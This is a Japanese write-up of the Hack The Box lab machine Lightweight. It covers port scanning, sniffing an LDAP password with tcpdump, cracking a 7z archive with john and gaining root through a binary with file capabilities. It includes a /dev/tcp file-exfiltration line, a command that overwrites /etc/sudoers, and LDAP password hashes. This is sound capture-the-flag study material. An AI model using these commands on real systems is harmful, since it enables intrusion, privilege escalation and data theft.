【Hack The Box】Lightweight Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.119 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 00:39 JST Nmap scan report for lightweight.htb (10.10.10.119) Host is up (0.26s latency). Not shown: 9997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA) | 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA) |_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) |_http-title: Lightweight slider evaluation page - slendr 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X | ssl-cert: Subject: commonName=lightweight.htb | Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain | Not valid before: 2018-06-09T13:32:51 |_Not valid after: 2019-06-09T13:32:51 |_ssl-date: TLS randomness does not represent time Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 707.93 seconds
22(ssh)、80(http)、389(ldap)が開いている。
389ポートのLDAP通信は平文。636だと暗号化通信LDAPS。
問題タイトルもlightweightなので、LDAPに関する問題だと思われる。
80番ポート(http)の調査
トップページ
ブルートフォース対策がされているらしい。
info
ブルートフォースを検知すると、5分間アクセスできなくなるとのことなので、ディレクトリスキャンはやめておく。
status
banされているかどうか、ステータスが見れるページ。(ロードがかなり遅い(★これがそれなりに重要))
user
ユーザ名、パスワードともに自分のIPアドレスでssh接続できると記載がある。
ssh接続
webページに記載のある通り、自分のIPアドレスでログイン。
ldapuser1
とldapuser2
がいる。ディレクトリの中は見れないが、どちらかにuser.txtがあると思われる。
root@kali:~# ssh 10.10.14.33@10.10.10.119 10.10.14.33@10.10.10.119's password: [10.10.14.33@lightweight ~]$ id uid=1003(10.10.14.33) gid=1003(10.10.14.33) groups=1003(10.10.14.33) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [10.10.14.33@lightweight ~]$ ls -l /home total 0 drwx------. 4 10.10.14.2 10.10.14.2 91 Nov 16 2018 10.10.14.2 drwx------. 4 10.10.14.33 10.10.14.33 91 Oct 31 16:17 10.10.14.33 drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 ldapuser1 drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 ldapuser2
capabilityを調べる
getcap
コマンドで、/usr/bin
と/usr/sbin
のcapabilityを調査。
[10.10.14.33@lightweight ~]$ getcap -r /usr/bin, /usr/sbin /usr/bin, (No such file or directory) /usr/sbin/mtr = cap_net_raw+ep /usr/sbin/suexec = cap_setgid,cap_setuid+ep /usr/sbin/arping = cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
tcpdumpでの通信キャプチャ
capabilityの調査で見つけたtcpdump
を使用する。
status.php
のロードが遅いことから、裏でldapの通信が走っている可能性がある。
status.php
が読み込めたくらいのタイミングで389ポートに関する通信が出力され、その中の一部にldapuser2
のパスワードが見つかる。暗号化通信ではない389ポートだから平文で見つかる。
[10.10.14.33@lightweight ~]$ tcpdump -i any port 389 -A tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes (snip) w....XI...Pt.....)...... .O.<.O.<0Y...`T....-uid=ldapuser2,ou=People,dc=lightweight,dc=htb. 8bc8251332abe1d7f105d3e53ad39ac2................ 16:50:58.420116 IP lightweight.htb.ldap > lightweight.htb.39852: Flags [.], ack 92, win 683, options [nop,nop,TS val 5210940 ecr 5210940], length 0 E..4..@.@... (snip)
(おまけ)wiresharkでも見てみる
ターゲットマシンからローカルに持ってきて、wiresharkで起動。
root@kali:~/lightweight# scp 10.10.14.33@10.10.10.119:/home/10.10.14.33/ldap.pcap . root@kali:~/lightweight# wireshark ldap.pcap &
bindRequest(LDAPサーバでのユーザ認証リクエスト)でパスワードが平文で見えている。
user.txtゲット
tcpdump
を使って見つけたパスワードでldapuser2
になり、user.txtをゲット。
[10.10.14.33@lightweight ~]$ su ldapuser2 Password: [ldapuser2@lightweight 10.10.14.33]$ id uid=1001(ldapuser2) gid=1001(ldapuser2) groups=1001(ldapuser2) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [ldapuser2@lightweight 10.10.14.33]$ cd /home/ldapuser2 [ldapuser2@lightweight ~]$ ls backup.7z OpenLDAP-Admin-Guide.pdf OpenLdap.pdf user.txt [ldapuser2@lightweight ~]$ cat user.txt
backup.7z発見
user.txtと同じディレクトリにbackup.7zがある。
[ldapuser2@lightweight ~]$ ls -l total 1868 -rw-r--r--. 1 root root 3411 Jun 14 2018 backup.7z -rw-rw-r--. 1 ldapuser2 ldapuser2 1520530 Jun 13 2018 OpenLDAP-Admin-Guide.pdf -rw-rw-r--. 1 ldapuser2 ldapuser2 379983 Jun 13 2018 OpenLdap.pdf -rw-r--r--. 1 root root 33 Jun 15 2018 user.txt
ローカルにデータ移動
scpで移動させようとしたが、ldapuser2ではssh接続できない&ローカル(kali)はsshポートを開けていないので、別の方法と使う。
方法1:base64エンコードして移動する。
[ldapuser2@lightweight ~]$ base64 backup.7z N3q8ryccAAQmbxM1EA0AAAAAAAAjAAAAAAAAAI (snip) [ldapuser2@lightweight ~]$
方法2:ncを使う
・送信側
[ldapuser2@lightweight ~]$ cat backup.7z > /dev/tcp/10.10.14.33/1234
・受信側
root@kali:~/lightweight# nc -lvp 1234 > backup.7z listening on [any] 1234 ... connect to [10.10.14.33] from lightweight.htb [10.10.10.119] 37654
backup.7z解凍
方法1の方法で移動してきたデータをbase64デコードし、7zで解凍を試みるが、パスワードが必要。
root@kali:~/lightweight# base64 -d data > backup.7z root@kali:~/lightweight# 7z x backup.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-8650U CPU @ 1.90GHz (806EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 3411 bytes (4 KiB) Extracting archive: backup.7z -- Path = backup.7z Type = 7z Physical Size = 3411 Headers Size = 259 Method = LZMA2:12k 7zAES Solid = + Blocks = 1 Enter password (will not be echoed):
パスワードクラック
john
で解析するため、7z2john
使おうとしたが、エラーでた。
root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash Can't locate Compress/Raw/Lzma.pm in @INC (you may need to install the Compress::Raw::Lzma module) (@INC contains: /etc/perl /usr/local/lib/x86_64-linux-gnu/perl/5.30.3 /usr/local/share/perl/5.30.3 /usr/lib/x86_64-linux-gnu/perl5/5.30 /usr/share/perl5 /usr/lib/x86_64-linux-gnu/perl-base /usr/lib/x86_64-linux-gnu/perl/5.30 /usr/share/perl/5.30 /usr/local/lib/site_perl) at /usr/share/john/7z2john.pl line 6. BEGIN failed--compilation aborted at /usr/share/john/7z2john.pl line 6.
以下を実行することで解決した。
root@kali:~/lightweight# apt install libcompress-raw-lzma-perl
パスワードゲット。
root@kali:~/lightweight# /usr/share/john/7z2john.pl backup.7z > hash root@kali:~/lightweight# cat hash backup.7z:$7z$2$19$0$$8$11e96ba400e3926d0000000000000000$1800843918$3152$3140$1ed4a64a2e9a8bc76c59d8160d3bc3bbfd995ce02cf430ea41949ff4d745f6bf3ed238e9f06e98da3446dda53df0abf11902852e4b2a4e32e0b0f12b33af40d351b2140d6266db1a3d66e1c82fa9d516556ec893ba6841f052618ad210593b9975307b98db7e853e3ebfbef6856039647a6ad33a63f5b268fc003c39eba04484bef (snip) root@kali:~/lightweight# john -w:/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (7z, 7-Zip [SHA256 128/128 AVX 4x AES]) Cost 1 (iteration count) is 524288 for all loaded hashes Cost 2 (padding size) is 12 for all loaded hashes Cost 3 (compression type) is 2 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status delete (backup.7z) 1g 0:00:00:35 DONE (2020-11-01 03:03) 0.02783g/s 57.44p/s 57.44c/s 57.44C/s slimshady..aries Use the "--show" option to display all of the cracked passwords reliably Session completed
このパスワードを使うと、backup.7zからindex.php
、info.php
、status.php
、user.php
が解凍される。
status.php
にldapuser1のパスワードがハードコードされていた。
root@kali:~/lightweight# cat status.php (snip) $username = 'ldapuser1'; $password = 'f3ca9d298a553da117442deeb6fa932d';
このパスワードを使って、ldapuser1
になる。
[ldapuser2@lightweight ~]$ su ldapuser1 Password: [ldapuser1@lightweight ldapuser2]$ id uid=1000(ldapuser1) gid=1000(ldapuser1) groups=1000(ldapuser1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
capabilityを調べる
先ほどと同様にcapabilityを調べたところ、/home/ldapuser1/openssl
がepで設定されていることが分かった。
[ldapuser1@lightweight ~]$ getcap -r / 2>/dev/null /usr/bin/ping = cap_net_admin,cap_net_raw+p /usr/sbin/mtr = cap_net_raw+ep /usr/sbin/suexec = cap_setgid,cap_setuid+ep /usr/sbin/arping = cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep /home/ldapuser1/tcpdump = cap_net_admin,cap_net_raw+ep /home/ldapuser1/openssl =ep
root.txtゲット
openssl
でファイルを読むコマンドを実行し、root.txtゲット。
参考:https://gtfobins.github.io/gtfobins/openssl/
[ldapuser1@lightweight ~]$ ./openssl base64 -in "/root/root.txt" | base64 -d
(おまけ)rootシェルをゲットしたい場合
/etc/sudoers
を上書きし、10.10.14.33ユーザ(自分)にsudoでの任意コマンドの実行権限を付与する。
参考:https://gtfobins.github.io/gtfobins/openssl/
[ldapuser1@lightweight ~]$ echo -ne "root\tALL=(ALL:ALL) ALL\n\"10.10.14.33\"\tALL=(ALL:ALL) ALL\n" > /tmp/getsudo [ldapuser1@lightweight ~]$ ./openssl enc -in /tmp/getsudo -out /etc/sudoers [ldapuser1@lightweight ~]$ exit exit [10.10.14.33@lightweight ~]$ sudo su [sudo] password for 10.10.14.33: [root@lightweight 10.10.14.33]# id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
(おまけ)ldapsearch
namingcontextsを取得。
root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -s base namingcontexts -x # extended LDIF # # LDAPv3 # base <> (default) with scope baseObject # filter: (objectclass=*) # requesting: namingcontexts # # dn: namingContexts: dc=lightweight,dc=htb ★ # search result search: 2 result: 0 Success # numResponses: 2 # numEntries: 1
ユーザ名、パスワードハッシュがゲットできる。SHA512であり、今回はここから平文は取得できない。
root@kali:~/lightweight# ldapsearch -h 10.10.10.119 -b "dc=lightweight, dc=htb" -x # extended LDIF # # LDAPv3 # base <dc=lightweight, dc=htb> with scope subtree # filter: (objectclass=*) # requesting: ALL # # lightweight.htb dn: dc=lightweight,dc=htb objectClass: top objectClass: dcObject objectClass: organization o: lightweight htb dc: lightweight # Manager, lightweight.htb dn: cn=Manager,dc=lightweight,dc=htb objectClass: organizationalRole cn: Manager description: Directory Manager # People, lightweight.htb dn: ou=People,dc=lightweight,dc=htb objectClass: organizationalUnit ou: People # Group, lightweight.htb dn: ou=Group,dc=lightweight,dc=htb objectClass: organizationalUnit ou: Group # ldapuser1, People, lightweight.htb dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb uid: ldapuser1 cn: ldapuser1 sn: ldapuser1 mail: ldapuser1@lightweight.htb objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: top objectClass: shadowAccount userPassword:: e2NyeXB0fSQ2JDNxeDBTRDl4JFE5eTFseVFhRktweHFrR3FLQWpMT1dkMzNOd2R oai5sNE16Vjd2VG5ma0UvZy9aLzdONVpiZEVRV2Z1cDJsU2RBU0ltSHRRRmg2ek1vNDFaQS4vNDQv shadowLastChange: 17691 shadowMin: 0 shadowMax: 99999 shadowWarning: 7 loginShell: /bin/bash uidNumber: 1000 gidNumber: 1000 homeDirectory: /home/ldapuser1 # ldapuser2, People, lightweight.htb dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb uid: ldapuser2 cn: ldapuser2 sn: ldapuser2 mail: ldapuser2@lightweight.htb objectClass: person objectClass: organizationalPerson objectClass: inetOrgPerson objectClass: posixAccount objectClass: top objectClass: shadowAccount userPassword:: e2NyeXB0fSQ2JHhKeFBqVDBNJDFtOGtNMDBDSllDQWd6VDRxejhUUXd5R0ZRdms zYm9heW11QW1NWkNPZm0zT0E3T0t1bkxaWmxxeXRVcDJkdW41MDlPQkUyeHdYL1FFZmpkUlF6Z24x shadowLastChange: 17691 shadowMin: 0 shadowMax: 99999 shadowWarning: 7 loginShell: /bin/bash uidNumber: 1001 gidNumber: 1001 homeDirectory: /home/ldapuser2 # ldapuser1, Group, lightweight.htb dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb objectClass: posixGroup objectClass: top cn: ldapuser1 userPassword:: e2NyeXB0fXg= gidNumber: 1000 # ldapuser2, Group, lightweight.htb dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb objectClass: posixGroup objectClass: top cn: ldapuser2 userPassword:: e2NyeXB0fXg= gidNumber: 1001 # search result search: 2 result: 0 Success # numResponses: 9 # numEntries: 8
(おまけ)NSE(ldap-search)
root@kali:~/lightweight# nmap --script ldap-search -p 389 10.10.10.119 Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 22:09 JST Nmap scan report for lightweight.htb (10.10.10.119) Host is up (0.27s latency). PORT STATE SERVICE 389/tcp open ldap | ldap-search: | Context: dc=lightweight,dc=htb | dn: dc=lightweight,dc=htb | objectClass: top | objectClass: dcObject | objectClass: organization | o: lightweight htb | dc: lightweight | dn: cn=Manager,dc=lightweight,dc=htb | objectClass: organizationalRole | cn: Manager | description: Directory Manager | dn: ou=People,dc=lightweight,dc=htb | objectClass: organizationalUnit | ou: People | dn: ou=Group,dc=lightweight,dc=htb | objectClass: organizationalUnit | ou: Group | dn: uid=ldapuser1,ou=People,dc=lightweight,dc=htb | uid: ldapuser1 | cn: ldapuser1 | sn: ldapuser1 | mail: ldapuser1@lightweight.htb | objectClass: person | objectClass: organizationalPerson | objectClass: inetOrgPerson | objectClass: posixAccount | objectClass: top | objectClass: shadowAccount | userPassword: {crypt}$6$3qx0SD9x$Q9y1lyQaFKpxqkGqKAjLOWd33Nwdhj.l4MzV7vTnfkE/g/Z/7N5ZbdEQWfup2lSdASImHtQFh6zMo41ZA./44/ | shadowLastChange: 17691 | shadowMin: 0 | shadowMax: 99999 | shadowWarning: 7 | loginShell: /bin/bash | uidNumber: 1000 | gidNumber: 1000 | homeDirectory: /home/ldapuser1 | dn: uid=ldapuser2,ou=People,dc=lightweight,dc=htb | uid: ldapuser2 | cn: ldapuser2 | sn: ldapuser2 | mail: ldapuser2@lightweight.htb | objectClass: person | objectClass: organizationalPerson | objectClass: inetOrgPerson | objectClass: posixAccount | objectClass: top | objectClass: shadowAccount | userPassword: {crypt}$6$xJxPjT0M$1m8kM00CJYCAgzT4qz8TQwyGFQvk3boaymuAmMZCOfm3OA7OKunLZZlqytUp2dun509OBE2xwX/QEfjdRQzgn1 | shadowLastChange: 17691 | shadowMin: 0 | shadowMax: 99999 | shadowWarning: 7 | loginShell: /bin/bash | uidNumber: 1001 | gidNumber: 1001 | homeDirectory: /home/ldapuser2 | dn: cn=ldapuser1,ou=Group,dc=lightweight,dc=htb | objectClass: posixGroup | objectClass: top | cn: ldapuser1 | userPassword: {crypt}x | gidNumber: 1000 | dn: cn=ldapuser2,ou=Group,dc=lightweight,dc=htb | objectClass: posixGroup | objectClass: top | cn: ldapuser2 | userPassword: {crypt}x |_ gidNumber: 1001 Nmap done: 1 IP address (1 host up) scanned in 2.42 seconds
(おまけ)capabilityとは(メモ)
- rootが持っている権限を小分けにし、細かくした権限をプロセスに与えられるようにする機能。その細かい権限のことをcapabilityという。
- rootか一般ユーザかだけでなく、もっと細かい単位で権限を付与することが可能。
例:ping
- pingはパケット送信にRawソケットを使う、これを使うにはroot権限が必要。そのため、LinuxディストリビューションによってはpingにSUIDが設定されている。
- 逆に言うと、Rawソケットを使うためだけにroot権限がほしいのに、rootが持つ権限全てをpingに渡している状況。
- Rawソケットを使う権限(capabiliry)のみを与えるという考え。→CAP_NET_RAW
capabilityのリスト
- capabilityセット
- プロセスのcapabilityセット
- ファイルのcapabilityセット
- それぞれで以下のcapabilityセットが定義されている
- Permitted(許可)
- Inheritable(継承可能)
- effective(実行)